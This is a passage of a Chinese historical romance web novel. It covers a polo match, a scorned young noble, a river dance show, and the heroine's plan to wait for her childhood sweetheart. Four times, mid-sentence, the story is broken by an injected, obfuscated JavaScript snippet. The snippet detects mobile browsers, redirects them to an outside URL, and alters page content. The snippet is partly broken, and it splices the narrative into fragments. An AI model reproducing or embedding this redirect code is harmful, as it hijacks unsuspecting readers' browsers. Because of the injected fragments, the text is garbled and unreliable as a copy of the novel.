众女娘顿时抿嘴轻笑,原来是乡下野丫头,怪不得行止如此粗俗,看她甩杆子的架势,一点也不优雅,莫非乡下没得玩,她才甩着竹枝玩,若是闲暇无聊,岂不是还要帮助乡民驱赶牲畜?听说乡下小孩就喜欢追着鸡鸭牛羊跑呢。 众人点到即止,心照不宣地笑作一团。 商明菁眼里讥讽更浓,出尽风头又如何?能参加国公府马球会的公子哥儿们,有哪个能瞧得上这样的疯丫头! “七表妹。”侧前方有人大喊。 商凝语策马打球,目不斜视,在飞奔而来的二女惊愕眼神下,将球传递给程昭昭,程昭昭眼睛明亮,接球,挥杆,一气呵成,不需要过多的铺垫,直接穿过球眼。 一球定胜负。 “耶!我们赢了。”不知是谁一声大喊,欢呼声此起彼伏。 球场四周,彩旗飞扬,发出猎猎声响。 比赛结束,商凝语仿佛找回了岭南七小娘的自在,身心骨子里都透着松快,眉眼飞扬,一时忘记这是规矩森严的京城富贵之地。 先前的沮丧一扫而空,虽然不知这计分该如何算,但三分球她打了四个,与那花里胡哨的玩意总能相抵,结果算下来, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16362097|183732||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 彩头应有她一份。 她下马,一路奔向笑脸迎来的商明惠,欢快地问:“四姐姐,我们赢了吗?” 商明惠摇头,声音透着凉意,“不知道。”但被她的喜悦感染,眉梢眼角也沾上了喜意和松散,执起手帕,替她擦拭鬓角汗珠。 商凝语接受来自四姐姐的善意,接过手帕,自己擦拭。 程昭昭前来,拍着她的肩膀道:“不错啊,没想到你球打的如此厉害,以前练过?” 商凝语点头,眉眼直视程昭昭,道:“练过的,不过没你厉害,你打得很漂亮。” 程昭昭和商明惠一样,是这里为数不多的女中豪杰。 她语气真诚,程昭昭眯着眼,笑着受了这句话,想说什么却没说,招呼着去拿彩头。 迎面走来去往球场的程玄晞四人,双方在球场下对住。 骤然见到紫衣世子,商凝语慌张捡起丢失的礼仪,跟在商明惠身边行礼。 她双手交叠,拿出三个月以来最规整的礼仪,目光透过身前的程昭昭,借着众人目光,同时看向那位正说话的紫衣世子。 江昱:“你们还要比赛吗?没有的话,我可要再借贵府的马场一用。” 程昭昭笑嗤:“世子,侯府的后马场可比这大多了,你怎么不回自家去玩呢?” 江昱手指纤长,掌心的玉骨骰来回运转,嘴角一扯,道:“不是国公府今日举办球会,诚意邀请本世子前来?” 她倏地发现,国公府与这位世子关系匪浅,两家人竟可以带着好友如此近距离交谈。 她还发现,他的眉毛又浓又密,挑眉的时候,飞眉入鬓,更衬得双目清澈有神。他长得真的很白,眉眼精致,鼻子嘴巴好像都为了互相配合而生长,组合在一起,就好像丹青妙手画上的笔墨,一笔一划,都精雕细琢而成。 程昭昭今日心情颇佳,她转动眼珠,笑道:“世子球技了得,不如点评一下今日我等女子赛如何?” “小妹,不得胡来。”程玄晞呵斥。 江昱那个毒舌,说出来的话准叫人不高兴,到时候,新账旧账一起算,祖母那里,就是他也帮不了,公主府免不了又是一阵阴雨连连。 白池柊却忍不住竖起了大拇指,开口道:“很精彩,是我见过女子赛中,最精彩的一次。” 程昭昭面露得意,今日是她组局,女子赛突破以往旧俗,不再拘泥马上花样,而是像男子一样,专注于运球本身,对未来马球来说,这是一种进步。 “那可未必。”江昱开口,目光环视一周。 他语气淡淡,姿态居高临下。 白池柊一愣:“额,瑾弋,你有何高见?” 商凝语自认今日球赛精彩了得,一场赛完酣畅淋漓,相信其他同伴也都拼了全力,听闻此言,她自有几分好奇,难道她们还能改进,更上一层? 她眉目舒张,甚至趁机再仔细瞻仰一番对方容颜,她看得痴迷,却听对方道:“若非七娘子,这场比赛,伯府应该能拿魁首,可惜了。” 8. 第 8 章 四周仿佛有那么一瞬,静得只闻风声。 商凝语恍惚以为自己听错了,虽然这位世子狂悖,连太子都敢出言挑衅,但她与他素不相识,好歹也是忠勤伯府之女,他爹备受乡绅士族尊敬,这般说话也未免太过目中无人。 她目光一怔,屈辱、愤怒接踵而至,但她什么都不能做,只能面露空白,以无声对抗这位目无下尘的世子。 好在,程昭昭第一时间反应过来,她脱口而出,“胡说八道什么呢,小七,别理他。” 小七......比七表妹亲善多了。 商凝语眼底逐渐凝聚的晶莹瞬间被风吹散。 那一瞬间,她无限感激,无论程昭昭此前有多么傲慢,此时,她都认定了程昭昭这个好友。 她抬头,目光再次凝向世子,这次,与其说想看这位世子要如何回应程家表妹,不如说,她想看看自己是有多眼瞎,竟将鱼目当作珍珠,观赏了一整日。 其实也不过如此。 一个鼻子两只眼睛,就是白皙了一些,她也很白,她商家人都很白,眼睛没看出特别,嘴唇太厚,没事竟在额头绑个绷带,不知道的还以为是产妇坐月。 应是京城公子太会梳理自己,他打扮得花枝招展,才令她耳目一新,被吸引了目光。 此时她回过味来,任谁能有这样一副天妒容颜,定然要在人前显露一番,这位世子也没例外,甚至说,他的手段更高明。没有抛媚眼,没有搔首弄姿,而是将优势流露在举手投足间,不经意地勾引懵懂无知少女。 如此处心积虑地谋划在一件事上,可见其人,已经别无长物。 再不然,他的身份给他平添了一抹贵气,所以才更加令人赏心悦目,但若撇开一切不谈,简直乏善可陈,她是如何也瞧不上。 她以无限恶意揣测这位世子,心中产生浓浓厌恶,觉得此人徒有其表,堪称金玉其外,败絮其中之典范,遂不愿再多看,默默地移开了视线。 - “七娘子进球虽多,但花样全无,三折一,正如世子所言,并不能夺得魁首。”国公府嬷嬷无视程昭昭愤恨的眼神,笑容可掬地将第一名彩头递交给了另外一组娘子。 商凝语仿佛再次被人闷头一棒,失望又艳羡的注视着百年老参就这么去了别家。 也不知是为了彰显气度,还是事实果真如此,但,她的直觉就是告诉她,是紫衣世子那句话,惹得国公府的判断偏移,假公济私,将第一名夺走了。 千万别让她去翻史书,必定没有哪个朝代的马球是这样打! 她牙齿磨得吱吱响,心中怒火更甚。 “呦,生气啦?”程昭昭笑,将镂空银质香炉塞进她手里,“喏,这个给你,第一次打球打成这样已经很不错了,下次再加油。” 好吧,因此看清了一个面冷心热的姐姐,知足了。 商凝言也走到她跟前来,用眼神安慰。商凝语扯了嘴角拉出一抹笑,总算还是赢了东西回去,也不算辜负今日这场出行。 众位女娇娘,簇拥着,一起去到凉亭下歇息,球场再次成为男子的场地,上午与太子一队的宗室之子,赵烨城带着几位好友策马经过,邀请江昱等人再比试一场。 “上午胜负未分,现在我们再来一场,一较高下。” 江昱无所谓,用眼神询问白商二人意思,见二人没有意见,三人上马奔驰。 日薄西山,各府内眷相继离去。 商明菁左右姐妹纷纷离场,她前来翠薇亭,信步问道:“七妹妹,回府吗?” 商凝语正品尝国公府的侍女又端来的各色新鲜糕点和茶水,她将账在心里收好,面上犹如一池湖水,平静无波。 吃到一小半,闻言,看一眼商明惠。 说实在,她觉得跟冷冰冰的四姐姐待在一起,比和看上去落落大方、淑女文静的五姐姐舒服多,总要提防她出其不意来一句试探。 于是她摇了摇头,道:“五姐姐你累了吗?过来吃点东西吧。” 商明菁轻笑一声,眼神意味深长从她面上划过,道:“不了,既然如此,四姐姐,你们继续玩,我就先回府了。” 语毕,不等商明惠回应,福礼离去。 程昭昭送完客人,回来仍然兴致勃勃,道:“今夜城里有画舫游湖,三哥也定了两艘,他们已经先行一步,我们也去,如何?” 商凝语来到京城三月,夜里几乎不出门,难得今日能跟着四姐姐玩到日落西山,闻言,两眼更是灿若星辰。 程昭昭就发现这个七表妹格外有意思,她今日竟看走眼,以为这是个看到郎君就往上扑,趋炎附势之辈。 眨了眨眼,道:“惠姐姐不去,七表妹,我们去。” 商凝语眼里的光一下子灭了,她默默翻了个白眼,“还是表姐独自去吧,我回府睡觉。” 程昭昭捧腹大笑,商明惠瞥了她一眼,对商凝语道:“去玩片刻,辰时前回府。” 商凝语点头如捣蒜,“好。” - 金银河是穿梭在城中的河流,在中街地段有一条宽敞的河床,河岸四周,摊贩环绕,沿街商铺酒肆鳞次栉比,热闹喧阗。 每至日落,夜幕开合,金银河便渐渐拢入一片青白色的烟雾中,水汽自墨玉般的河面升腾,遇晚风舒卷成纱,仿若进入一种飘渺幻境。 七夕佳节,受富商之邀,游船湖上的嫣红姑娘福至心灵,若在这烟波浩渺之中来一曲九天玄舞,定能惊艳四座,可惜盛宴需要巨资做底,楼妈妈向来吝于拔毛,不肯支持,好在白小公子痴于画作,不费昼夜功夫,愿意赞助她江上一曲。 盛夏已去,秋收冬来,再不紧着这和煦暖阳之风置办游湖宴,那些富贵公子哥儿们又要躲到温柔乡中去。因此,也不拘于此时已无盛日佳节,只广发香帖,诚邀名流士子以及昔日楼中旧客前往金银河,赏舞一曲。 江上画舫绵延,灿若星河。 石拱鹊桥上灯火通明,倒影在水中,铺了一池碎金,天地交相辉映,勾勒出一幅人间胜景。 画舫中,嫣红姑娘身着露肩香裙,臂弯挽着落地披帛,面上妆容精致,早已作好打扮。 小丫鬟进来禀报,她起身移步停在湘妃竹帘前,伸出芊芊玉指,暗中打量河岸。 昨日香贴送出,嗅觉灵敏的沿湖商铺今夜早早挂起灯笼,并着人在江上放了河灯,显然要将这场江上盛宴置办成第二个七夕佳节 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16362098|183732||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 远远地,就瞧见三位身着锦衣华服的公子踏着盈盈灯火,步上那艘停靠岸边最高的画舫。 今夜笙箫,正式开始。 商凝语来到画舫,就听到有人说,“嫣红姑娘出来了。”不等画舫离岸,三人直奔甲板,堪堪落座,便听到前方訇然一声,一道绚烂烟花在空中炸开。 整片天空,在这一瞬间照应得恍若白昼。 在这靡靡烟火中,忽然,“铮——”一道琵琶声传来。 随着乐声响起,腾腾白雾从江心喷薄而出,须臾,随着烟雾散去,鹊桥上一道亮丽身影腾空飞起,犹如九天玄女,衣带翩跹,跃上长空。 琵琶声铿锵再起,九天玄女平沙落地,浓浓白雾中,长带飘飘,如在仙境起舞。 商凝语未见过大世面,屏住呼吸,抬头仰望,眼里满是震撼。 “好美。”她无意识地张大嘴,轻声低叹。 程昭昭和商明惠久居京城,见过不少灿烂美景,也依然被眼前一幕镇住,程昭昭惊叹:“这醉春楼,不愧是京城第一楼。” 商明惠颔首:“不知又要花费多少银两,可惜了,都是民脂民膏。” 她不知想到了什么,神色有些惘然。 程昭昭干咳一声,凑近他,低声道:“这是白小公子请客,别冤枉好人。” 虽是如此说着,两人面色却同时不自然起来。 - 一曲终了,醉春楼可不愿放弃如此大好机会,继嫣红姑娘之后,各个姑娘轮番登桥献舞,环肥燕瘦,清冷妖娆,各色滋味,应有尽有,却全然没有了第一曲的震撼,夜深后,河岸上百姓相继游街而去,只留下画舫,在江上飘荡。 商凝语却还瞧得津津有味,程昭昭吩咐一声,画舫离岸,去了河中央,寻到了最佳位置。 - 嫣红姑娘换下舞衣,穿了一件襦裙,来到豪华画舫,言明要答谢白小公子,却被船上家丁推辞了,嫣红姑娘面色讪讪,灰溜溜离去。 程玄晞这会儿正坐在甲板上,手中把玩酒杯,听闻家丁吩咐,睨了眼江昱,揶揄:“瑾弋,你这不近人情的毛病什么时候能改改?今日也是,你说你好端端地,招惹那位忠勤伯家的七娘子作甚?人家一千金,被你说得差点当场落泪。” 白池柊对此却颇有心得,道:“他是给人家一个甜枣,就想打人一巴掌,把送给商兄的好处算在那位七娘子头上了。” 程玄晞嘶了一声,手指着江昱点了点,“你可真是......” 话音未落,隔壁画舫并肩上来,传来一声脆响,一道柔中带刺的娇语随之响起,“不过就是一纨绔,长得跟狐狸一样,哪里俊了?” 听声音,好像是那位受了委屈的忠勤伯府七娘子。 程玄晞立刻噤声,眼神露出兴味,白池柊明显一愣,怀疑自己听错了。 不明所以的江昱手指一顿,玉骨骰也在掌心停住。 商凝语捡起地上的茶盏,随意地拍了拍溅落在裙摆上的茶水,单手支颐。 程昭昭没错过侧方追赶而至的锦绣灯火,和商明惠对视,再惊疑地看着商凝语,莫名兴奋地问:“你......真觉得江昱,长得丑?” 9. 第 9 章 原来狐狸眼叫江昱,名字还不错,真是投生了一对好父母。 商凝语点头,振振有词,“对啊,他眼尾上翘,像狐狸一样,就是乍一看还可以,仔细看,并不俊俏。” “哦,”程昭昭拉长了尾音,仿佛得到了一种新的定义,接受了这个解释。她眼尾扫向隔壁画舫,笑得像只看笑话不嫌事大的猫咪,好奇地问:“那你觉得什么样的男子才算好看?我给你介绍。” 商凝语面色微红,她参加宴会相看人家难道已经不成秘密了吗?转念又自我劝服,都是自家姐妹,就不要藏着掖着了,好歹是从岭南出来的,她要表现大方一些。 她面露羞涩,觑向商明惠。 程昭昭目光跟着划到商明惠身上,眼神透着疑惑。 商凝语离席,朝商明惠福礼,道:“今日多谢四姐姐带我出来,不过,我想好了,下次再有此类宴会,我就不来参加了,今日回去,我也会跟阿爹说清楚的。” 程昭昭扬眉,“怎么?你今日玩得不开心?” 商凝语摇头,道:“今日我很开心,不仅打了一场酣畅淋漓的马球,而且重新认识了表姐你,今天是我回京这么长时间以来,最开心的一天。若二位姐姐不嫌弃,下次小聚,我还想叨扰二位姐姐。” “那你为何不来参加宴会?”程昭昭更好奇了。 商明惠将她拉至桌边坐下,道:“想好了?” 商凝语抿嘴,而后重重地点了点头,道:“因为从今日后,我有更重要的事情要做,我会回去说服阿爹,等明年春闱的结果。” “你还没说什么样的男子才算俊俏呢,”得了第二个答案,程昭昭还是十分好奇第一个答案。 忽然,她福至心灵,道:“你说的俊俏公子,莫非在明年春闱里?” 商凝语笑得眼神里都充满了羞涩,整个人仿佛泡在爱浴里。 程昭昭原本想要打趣,可一抬眼,撞进了一双浅浅弯起的明媚双眸中,身后遮天蔽日的潋滟灯火都黯然失色,她刹那失神。 只听商凝语答道:“是,他就在明年的春闱中。” 隔着汩汩流水,隔着流光溢彩的灯火,隔着好友似笑非笑揶揄不定的眼神,江昱被往后倚靠,面上神情依旧透着漫不经心,默而视之。 只有他自己注意到,手中的玉骨骰发出一声刺耳划响,幸而,此刻再有烟花盛开,砰的一声巨响,掩盖了一切异声。 - 商凝语所说的俊俏之人,名叫陆霁,是她在岭南的玩伴,两人自幼相识,青梅竹马一起长大。 陆霁是家中幼子,上有三位姐姐和一位哥哥,然而,原本他是还有一位哥哥的。 陆母年轻时,工于家宅阴私,疏于对长子看护,导致长子坠入河滩溺死其中,随后,陆家女儿接二连三的生,始终不见男儿,陆母心力交瘁,与夫家关系愈发冷淡。 后来,次子出生,取名陆元,陆母如释重负,待陆元如若珍宝,三位姐姐更是常年陪伴陆元左右,如有外出,无一不是怀抱其中,直至八岁,方才有人见过陆元亲自踏步出门。 陆元给陆家带来了希望,陆霁再出生时,意义就已经不一样了,他成了陆元的倚仗。 陆元八岁落地出门,陆霁五岁就已经拿着小锄头,去地里帮助姐姐锄草施肥,酷暑伏天,拎着食盒去田里给叔伯送饭,寒冬腊日,穿着芦花填充的棉衣,去山上拾柴。 陆霁六岁识字,在读书一道崭露头角,被商家的书塾先生收入门下,为免双亲阻拦,他日日只食两餐,夏日饮水冬日含冰,若非有一日不小心被商凝语撞见,给了他一颗绵糖,就要饿死在书塾后舍中。 后来,陆霁不负众望,小小年纪过了县试,陆家父母智计百出,撒泼耍赖,让书塾供了陆霁年年束脩礼以及其他一应攻读用资,商父惜才,又着实怜惜此子身世,允了陆家过分要求。 商凝语同情陆霁,也倾佩他过人的意志,二人心照不宣,彼此发乎情止于礼,从未宣之于口,却对对方的心意都明白于心。 商家虽然对陆家不满,但着实喜欢这个陆霁,商晏竹和田氏商议着,婚后就设法将二人从那个家里摘出来,小夫妻过自由自在的日子。 却不曾想,得知陆霁即将秋闱登榜,有人早一步上门求亲,陆家父母态度倨傲,明码实价的要嫁妆。 那三个姐姐更是表明,陆霁是倾阖家之力得以中举,而陆元舍己为弟,居功甚伟,将来陆家一应支出,全由陆霁承担,而陆家一应收入,应全交由陆元保管。 言下之意,这个弟弟,将来不仅要赡养父母,还要包揽兄长一家的吃穿用度。 此言一出,还有谁愿意摊上这样的亲家?别说那位已经登门求亲的人家,就是商父田氏,也不愿将女儿交给他们磋磨。商凝语明白双亲的意思,勿须多言,稍稍疏离一点,陆霁也就明白了,再也不去寻县衙七娘子。 时值深秋,石榴树硕果累累,枝丛中,粗粝的皮囊四下炸开,露出秾丽鲜艳的果实。 商凝语抬头仰望,回忆起陆霁偷偷将替人抄书得来的铜板放在墙头,攀着树枝摘石榴的模样,那石榴还很青涩,远远不及他那时脸上的红来得鲜艳。 她心想,待他来到京城,她要请他吃最红最大的石榴,向他赔礼道歉。 他那么温柔,一定能原谅她的见异思迁,她以后会努力地加倍补偿他,成为他的贤内助。 商晏竹穿过山石,就见到幼女立在兰馨院的侧方石榴树下出神,走上前,嗔道:“不回去修炼规矩,跑这里来做什么?” 提起这个就来气,商凝语哼:“还是祖母好,见我辛苦就免了规矩,阿爹嘴上一套,行动又是另一套,哼,真正应该修炼的人应该是阿爹才对。” “胡说八道。”商晏竹一本正经,“那两个嬷嬷还未走远吧,稍后就给你喊回来。” 说话间,脚步不停,顺着夹道回到翠竹堂,商凝语亦步亦趋,跟在身后很自然地进了院子。 商晏竹也不多说。田氏听到动静,出来迎接,见到商凝语,连忙撇下丈夫,攥住她的手带进屋,典型的有了女儿忘了夫君,令商晏竹瞠目得直摇头。 田氏将女儿带进正屋,悄摸地问:“昨夜回来的晚,还没跟我说,昨个儿马球会玩得怎样?” 商凝语将镂空银质香炉拿出来,乖巧道:“喏, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16362099|183732||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就只赢了这个。” 商晏竹进屋来,一边坐下亲自倒茶,一边用眼神遛向母女,田氏这才发现她手里捧着个宝贝,接过来拿在手心里端看,片刻后,惊叹:“真精致,国公府出手,东西就是不一样。” 商凝语双手托腮,抱憾:“可惜,本来可以赢一根百年老参,被截胡了。” “岭南多得是,别说百年,千年的阿娘都能给你弄来。” 田氏毫不在意,反而注意到她仪态,一巴掌拍下她的胳膊,余光瞥向丈夫。 一系列动作行云流水,目光却始终凝聚在香炉上,“这玩意可是可遇不可求,又是你自己辛苦得来的,好好珍惜着,回头我给你制一味香放进去,保证物超所值。” 商凝语倏地立直身体,满眼震惊。 田氏不明所以,见她动作之大才无意地移开眼睑瞥了一眼,这才发现她的异色。 她疑惑地看女儿,又扫了眼丈夫,回过神,没好气道:“你这孩子,年纪轻轻,要人参做什么?你外祖家别的不多,就这玩意最多,还缺你这个?” 商凝语立刻忘了要和父亲说的话,抱住田氏胳膊,缠着询问。 “舅舅不是农户吗?闲暇时也不过上山打些野味,咱们家何时还兴养人参?” 田氏失语,训斥道:“坐好,站没站相,坐没坐相,仔细你祖母将两个嬷嬷都叫回来,再给你训几日。” 不愧是夫妻,威胁人如出一辙。 商凝语腹诽,面上端着坐好,一副乖宝宝听讯模样。 “人参哪能自己养?那养出来的都是园参,不值几个银钱。” 田氏叹,都怪她,谋划失策。 当初,她就询问过夫君,商家的女儿应该怎么样,夫君只回了她六个字,“率真,不拘天性。” 她私以为,夫君这是在本家过得并不快活,所以将希望寄托在一双儿女身上,便没敢多问。 往后,她就照着这六个字来,儿子喜欢读书,无需操心,女儿聪慧好学,却生性懒散,惯会三天打鱼两天晒网,她就依着她,读书识字,女红手艺,抑或是学习工匠,打些巧手零件,一切都随她性子。 不苟精通,能品析鉴赏就行,以至于到了京城说亲,才发现这些远远不够,竟没有一样出类拔萃,能在冰人面前宣之于口。 往日以为,京城的娘子们不拘学什么,寻找夫家只需打理好家宅,做好相夫教子即可,可到了京城才知晓,女子要学的东西,可一点也不少于男子。 外要结交臣妇,善马球,善经营,内要持家有方,会精打细算,上孝公婆,下悌叔姑。出阁前,要诗词歌赋、琴棋书画样样精通,如此才能引起未来夫君的喜爱,为人处世,要八面玲珑、长袖善舞,品行要贤良淑德、端庄持重。 最令人惊愕且不解的是,还要会插花、点茶,了解那些附庸风雅之物。 一桩桩,一件件,说来惭愧,跟夫君说的六子诤言,自己多年教诲,八竿子打不着。 夫君眼见她无从教养,说要将女儿送去习艺馆练习,只是不知,时间浅短,是否能来得及。 不过,眼下她还是可以教一些庶务。 10. 第 10 章 “百年的野山参,在咱们后面那片苍山就有很多,这京城的山参说不定还是从你一众叔伯手中买去的,对他们来说是有价无市的宝贝,对你舅家来说,你想要多少,写封信回去,定能给你送些过来。” 商凝语乍舌,忽然庆幸自己没能夺魁,否则龙王卖宝,人人都来笑话她了。 田氏继续道:“芦头颀长,参体玲珑饱满,铁线纹深而紧者为佳,而皮色老黄,摸上去紧凑坚实,在灵气充沛的地方抬出来的参才是最好,街市上那些短须浅纹的多是园参,分文不值,可千万别被那些商家给骗了。” 商凝语洗耳恭听,就差没有拿来抄本边听边记。 田氏又有些担心:“不过,这些你自己知晓就好,可千万别去外面咋呼,这京城多是眼高于顶的人,你要是掀人短处,不仅招不来恩,反而招来恨。” 商凝语点头如啄米,“阿娘,你放心,我记住了。” 母女两窃窃私语,田氏又说起民间有的稀世珍宝,进入贵人眼中,又是如何鉴赏,直至侍女过来请示午膳,还意犹未尽。 商凝语也不觉得自己荒废了许多年,她可是一直都忙着呢,只是年岁太小,要学习的东西有很多,书到用时方恨少,捉襟见肘罢了。 午膳摆出来,母女两坐到饭桌上还在说,从山里有的百年老树到水里的千年王八,从市场上手工制作到田家翁舅亲自出手的奇珍异宝,数不胜数。 商晏竹填了饥肠辘辘的脏腑,见二人还未停歇,他压了口甜汤,溜了一眼商凝语,忽然问:“呦呦,以后想过怎样的生活?” 商凝语一愣,田氏被打断兴致,瞪了一眼夫君,没好气道:“过怎样的生活都得了解,免得一头蒙,被人卖了都不知晓。” 她就是吃亏在家世不如商家,所以才处处依赖夫君,到如今将女儿养成一无所知的小白,上不知琴棋,下不通五谷,真真肠子都悔青了。 商凝语却明白了商父的意思,她猛地想起今日前来所带的任务,立时将心思拢回。 她朝田氏憨憨地笑了笑,假装知错,“阿娘,吃饭吧,阿爹都吃完了。” 商家规矩,食不言寝不语,规矩不比女儿好的田氏蓦地被点,没好气地瞪了眼父女两,闭嘴吃饭。 商凝语低头吃菜,眼角余光瞥见商父已经放下竹箸,就着侍女送上的茶水漱口。 母女两用膳很快结束,田氏吩咐侍女将食碟撤下去,趁着这个机会,商凝语开口回答商父,“我想做个像阿娘一样,能和阿爹并肩的人。” 一句话说得田氏别提多开怀,商晏竹却满腹疑问,他不忍打击爱妻,但又忍不住疑惑。 “你觉得,你阿娘,和我并肩?” 田氏那个火气,蹭蹭蹭地,排山倒海喷涌而来。 就见幼女重重地点头,煞有介事道:“阿爹久居京城,曲高和寡,不通庶务,而阿娘生于民间,山重水覆,通晓百姓之所需,你二人相辅相成,合作无间,这才令岭南荒蛮之地焕然一新,物阜民丰,这不是并肩,是什么?” 说得夫妻二人齐齐一滞。 商父若有所思,眼神意味不明的睨了一眼爱女,须臾,来了一句与此番对话八竿子打不着的话。 他是对田氏说的:“我准备去信给霁哥儿,叫他今年,别参加秋闱了。” - 田氏感动得热泪盈眶。 打从她嫁给三爷,十里八村,谁不说她一句命好,攀上了县令这个官爷,就连她自己都忘了,她比这京中贵妇还要劳累,不仅要八面玲珑,左右讨好知府通判夫人,而且要与乡绅妇人保持客套往来,主持家里家外。 有许许多多乡亲摄于三爷威严,受了冤屈不敢告状,全都托到阿爹兄长那里,他们再求到她这里,她虚与委蛇,左右逢源,才辅助三爷将政事主张倾注于民间。 这么多年,人人都说她是靠着三爷才有了今日荣华富贵,唯有小女儿,说是她与三爷并肩得来的,这怎能叫人不敢动? 偏偏她丈夫这个榆木脑袋,这个时候,扯什么秋闱! 霁哥儿家里一群混不吝,可这孩子是个好的,她虽然不想把女儿嫁过去,但也希望这孩子能金榜题名,谋个官身远走高飞,离那个家远远的。 怎么就好端端地,不让他秋闱了? 田氏乍喜乍疑,顿觉脑中浆糊闹得厉害,一时不知该是高兴女儿的体贴,还是想替那个惹人疼的潜女婿多嘴关心一句。 而商凝语则已经彻底懵住了。 “为什么?” 她喃喃地问。 商晏竹解释道:“皇上龙体欠安,观近日御医进宫次数,恐怕就是年下的事了,而明年......新政如何,还未可知,不如再等一年,等新皇登基,大赦天下,开恩科时再考也不迟。” 商凝语母女两听得似懂非懂,完全不明就里,田氏满脸疑惑,“怎会?那天皇上还出席宴会,龙体康复在即,怎么突然就,就......” 剩下未尽之语,她惶惶不敢出口,却是冷汗淋漓。 商晏竹给了母女两一人一个警告,“尝鼎一脔,见微知著。不该出口的,就别说。” 商凝语慌张道:“可是,今年秋闱已经考过了呀。” 凡是通过秋闱者,必当进京,赶考来年春闱,否则将失去科举资格,陆霁学富五车,此刻必然已经通过秋闱,在进京的路上了。 商晏竹不再遮掩,道:“我已经去信回岭南,征询过霁哥儿的意思,他答应再等三年。早在月前,州府已经将他的卷轴撤下来,他现在,还只是个秀才。” 商凝语连续眨了三眼,面色维持空白,半响,回了一句,“喔。” 商晏竹嘴角抿出一丝笑意,正色问道:“想好了?” 商凝语面色嗖的一下,红霞漫天,垂着修长的鹅颈,转念一想,又点了点头。 田氏目光在父女两之间转了个来回,倏地反应过来,“你个死丫头,还想着嫁霁哥儿呢?” “阿娘。”商凝语拖长了尾音,一双眼,凄惶楚楚地看着田氏。 田氏顿觉气喘不顺了,连续在胸口拍好几下,尤觉难以呼吸。 先前的温情感动一扫而空,她气愤难当,揪住幼女的耳朵,拖拽着往内室走。 “你来给我说个清楚明白,否则,明日我就给你递了庚帖,叫你囫囵嫁个去。” 相比于妻子的大发雷霆,商晏竹心情却格外的好,告 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16362100|183732||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 饶声混杂着怒不可遏的火气声从内室传来,他含笑离席,步至门槛,好整以暇地理了理衣襟,惬意地去了书房。 商凝语费了九牛二虎之力才将耳朵从阿娘手中解救出来,捂着耳朵缩在田氏的妆奁前,一边揉,一边梭巡阿娘的装盒,大喊:“阿爹又给您添了根金簪,哇,阿娘,我看到了,好漂亮。” 田氏哪里还会吃她这套,虎着脸又要掐她耳朵,被她连忙躲过,恨恨道:“这满京城的公子哥儿,哪个不比陆家的好!我以为你见过世面,就能开点眼界,谁知道你还就逮着□□吃。” 嘶,□□,真恶心。 “你哪见过这么好看的□□?”商凝语回嘴。 田氏脱口而出:“那比他好看的也多得是,你怎么就非得他了!” 商凝语一味躲闪。 田氏发了一会火,稍稍冷静下来,思及夫君对她的劝慰——对儿女教导要细心耐心,听说结合,她按捺住心中烦躁,端着锦杌过来坐下。 努力平复心虚,尽量揉着嗓音,叹道:“阿娘也不是非要叫你嫁入高门,你给阿娘说说,最近是遇到什么事,怎的忽然就改变主意了?” 先前没说,但也知晓女儿是顺着她的意的。 商凝语觑了眼田氏面容,见她脸色和缓,打算将打了一夜腹稿的说辞搬出来。 她先陈述道:“京城的公子哥儿的确是多,男儿也多俊俏,家世显赫,能随便嫁一个都是我高攀,将来锦衣玉食,里子面子都有。” 田氏面色稍霁,“你既然都知道,还有何可说?” 商凝语斟酌道:“可是......这些都是不学无术的纨绔子弟。” 田氏松了口气,笑了,“定是昨日马球会,叫你看走眼了。你放心,这只是这冰山一角,我所知晓的是,那些子弟各个才情俱佳,能文能武,能玩也能学,你不是喜欢玩吗?以后有你玩不尽的新鲜玩意儿。” 商凝语细细品味,觉得备好的说辞派不上用场了,心思急转,换了个方向,“阿娘觉得,他们看得上我吗?” 问及这个,田氏心中更有几分自得,胸有成竹道:“你长得貌美,初见就能给人留下印象,相处久了,又能见你外柔内刚,胸有成见,这京城的男儿见惯了娇花,见到你这朵坚韧不屈的野花,自然爱如珍宝,你也不必妄自菲薄。” 